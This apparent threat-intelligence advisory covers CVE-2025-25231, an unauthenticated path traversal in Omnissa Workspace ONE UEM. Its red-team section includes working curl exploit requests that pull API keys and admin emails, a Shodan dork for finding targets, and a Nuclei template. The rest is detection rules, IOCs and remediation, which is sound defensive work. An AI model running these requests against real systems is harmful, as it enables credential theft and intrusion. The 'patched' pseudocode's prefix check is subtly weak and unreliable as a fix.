CVE-2025-25231

Executive Summary

CVE-2025-25231 is a high-severity path traversal vulnerability in Omnissa Workspace ONE UEM. The flaw allows an unauthenticated, remote attacker to send crafted GET requests to restricted API endpoints, leading to unauthorized read access to sensitive information such as API keys and admin user details. The vulnerability has a CVSS score of 7.5 and is classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). A public proof-of-concept (PoC) exists in the form of a Nuclei template, and exploitation does not require authentication. The vendor has released an advisory (OMSA-2025-0004), but specific patch details are not yet available.

Supply Chain & Package Security

This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby). It affects a proprietary enterprise application (Omnissa Workspace ONE UEM). No supply chain or package security implications are present.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is High due to the low complexity of exploitation, the lack of required privileges, and the potential for significant information disclosure.

Deep Dive & Mechanics

The vulnerability is a Secondary Context Path Traversal in the Omnissa Workspace ONE UEM console. The application fails to properly sanitize user-supplied input in the packageId parameter of the /DevicesGateway/apps/system-app-metadata/1 endpoint. By injecting path traversal sequences (../../../../), an attacker can escape the intended directory context and access arbitrary API endpoints.

The attack works by crafting a GET request where the packageId parameter contains a path traversal payload that points to a restricted API endpoint. For example:

• packageId=../../../../API/system/groups/apikeys%3fogname=Global retrieves API keys.
• packageId=../../../../API/system/admins/search?status=active%3fogname=Global retrieves admin user details.

The server processes the request in the context of the legitimate endpoint but resolves the path traversal to access resources outside the intended scope. The response is returned in JSON or XML format, allowing the attacker to extract sensitive data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable code likely constructs a file path or API endpoint URL by concatenating a base path with user input without proper validation.

# Vulnerable Python-like pseudocode
base_path = "/DevicesGateway/apps/system-app-metadata/"
user_input = request.GET.get("packageId")
full_path = base_path + user_input  # No sanitization
response = fetch_resource(full_path)

Patched Code (Conceptual): The patched code should validate and sanitize the packageId parameter to prevent path traversal.

# Patched Python-like pseudocode
import os
base_path = "/DevicesGateway/apps/system-app-metadata/"
user_input = request.GET.get("packageId")
# Normalize and check for traversal
safe_path = os.path.normpath(os.path.join(base_path, user_input))
if not safe_path.startswith(base_path):
    raise PermissionError("Access denied")
response = fetch_resource(safe_path)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target: Omnissa Workspace ONE UEM console (version unknown)
• Network access to the target
• No authentication required

Exploitation Steps:

1. Identify a target running Workspace ONE UEM (e.g., using Shodan dork html:"/airwatch/default.aspx").
2. Send a crafted GET request to extract API keys:

   curl -k "https://target/DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/groups/apikeys%3fogname=Global"
   

3. Parse the JSON response to extract api_key values.
4. Alternatively, extract admin emails:

   curl -k "https://target/DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/admins/search?status=active%3fogname=Global"
   

5. Use extracted credentials for further lateral movement.

Nuclei Template (Provided):

id: CVE-2025-25231

info:
  name: Omnissa Workspace ONE UEM - Path Traversal
  author: DhiyaneshDK,slcyber
  severity: high
  description: |
    Omnissa Workspace ONE UEM contains a path traversal caused by crafted GET requests to restricted API endpoints, letting malicious actors access sensitive information, exploit requires sending crafted requests.
  impact: |
    Malicious actors can access sensitive information by exploiting path traversal in API endpoints.
  remediation: |
    Update to the latest version.
  reference:
    - https://slcyber.io/assetnote-security-research-center/secondary-context-path-traversal-in-omnissa-workspace-one-uem/#wrap-up-&-acknowledgements
    - https://www.omnissa.com/omsa-2025-0004/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25231
  metadata:
    verified: true
    max-request: 1
    vendor: vmware
    product: workspace_one_uem_console
    fofa-query: banner="/airwatch/default.aspx" || header="/airwatch/default.aspx"
    shodan-query: html:"/airwatch/default.aspx"
  tags: cve,cve2025,omnissa,workspace,airwatch,traversal,vkev,vuln

flow: http(1) || http(2)

http:
  - raw:
      - |
        GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/groups/apikeys%3fogname=Global HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "service_name","api_key")'
          - 'contains(content_type, "application/json")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: json
        name: api_key
        json:
          - '.api_keys[].api_key'

  - raw:
      - |
        GET /DevicesGateway/apps/system-app-metadata/1?packageId=../../../../API/system/admins/search?status=active%3fogname=Global HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "AdminUser","Uuid")'
          - 'contains(content_type, "application/xml")'
          - "status_code == 200"
        condition: and

    extractors:
      - type: regex
        part: body
        name: admin_email
        group: 1
        regex:
          - '<Email>([^<]+)</Email>'

Blue Team

Detection & Response:

• Monitor for GET requests to /DevicesGateway/apps/system-app-metadata/1 with suspicious packageId parameters containing ../ sequences.
• Alert on responses containing sensitive data patterns (e.g., api_key, AdminUser, <Email>).
• Block or rate-limit requests to the vulnerable endpoint from untrusted IPs.
• Implement Web Application Firewall (WAF) rules to filter path traversal patterns.

Lab Setup:

• Deploy a vulnerable instance of Omnissa Workspace ONE UEM in an isolated environment.
• Use the Nuclei template to verify the vulnerability.
• Capture network traffic with Wireshark or tcpdump for analysis.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /DevicesGateway/apps/system-app-metadata/1 with packageId containing ../../../../
  • Responses containing JSON with api_key fields or XML with <Email> tags
  • Source IPs performing reconnaissance on /airwatch/default.aspx

• File IOCs:

  • Log entries showing path traversal attempts in web server logs (e.g., Apache, IIS)
  • Temporary files created by exploitation scripts

• Behavioral IOCs:

  • Unauthorized access to API endpoints such as /API/system/groups/apikeys or /API/system/admins/search
  • Anomalous traffic patterns from a single IP to the UEM console

Detection Engineering

YARA Rule

rule CVE_2025_25231_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in HTTP requests targeting Omnissa Workspace ONE UEM"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-25231"
    strings:
        $traversal = /packageId=\.\.\/\.\.\/\.\.\/\.\.\//
        $api_keys = /api_key/
        $admin_email = /<Email>/
    condition:
        $traversal and ($api_keys or $admin_email)
}

Sigma Rule

title: CVE-2025-25231 - Omnissa Workspace ONE UEM Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2025-25231 via crafted GET requests
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-25231
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/DevicesGateway/apps/system-app-metadata/1?packageId='
        cs-uri-query|contains: '..'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in other contexts (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-25231 - Omnissa Workspace ONE UEM Path Traversal Attempt";
    flow:to_server,established;
    content:"GET";
    http_method;
    content:"/DevicesGateway/apps/system-app-metadata/1";
    http_uri;
    content:"packageId=";
    http_uri;
    content:"..";
    http_uri;
    distance:0;
    classtype:attempted-recon;
    sid:10000001;
    rev:1;
    reference:url,nvd.nist.gov/vuln/detail/CVE-2025-25231;
)

Remediation & Mitigation

1. Apply Vendor Patch: Update Omnissa Workspace ONE UEM to the latest version as per OMSA-2025-0004.
2. Input Validation: Implement strict input validation and sanitization for the packageId parameter, rejecting any input containing ../ or similar traversal sequences.
3. Access Controls: Restrict access to the vulnerable endpoint to trusted IPs or networks.
4. WAF Rules: Deploy Web Application Firewall rules to block path traversal patterns.
5. Monitoring: Enable logging and monitoring for the vulnerable endpoint and alert on suspicious activity.
6. Least Privilege: Ensure that API keys and admin accounts have minimal necessary privileges.

Valters IT
DevSecOps & Cyber Threat Intelligence Division

{/* [Security Hash: 789FA7446D99417C75D90E4B] */}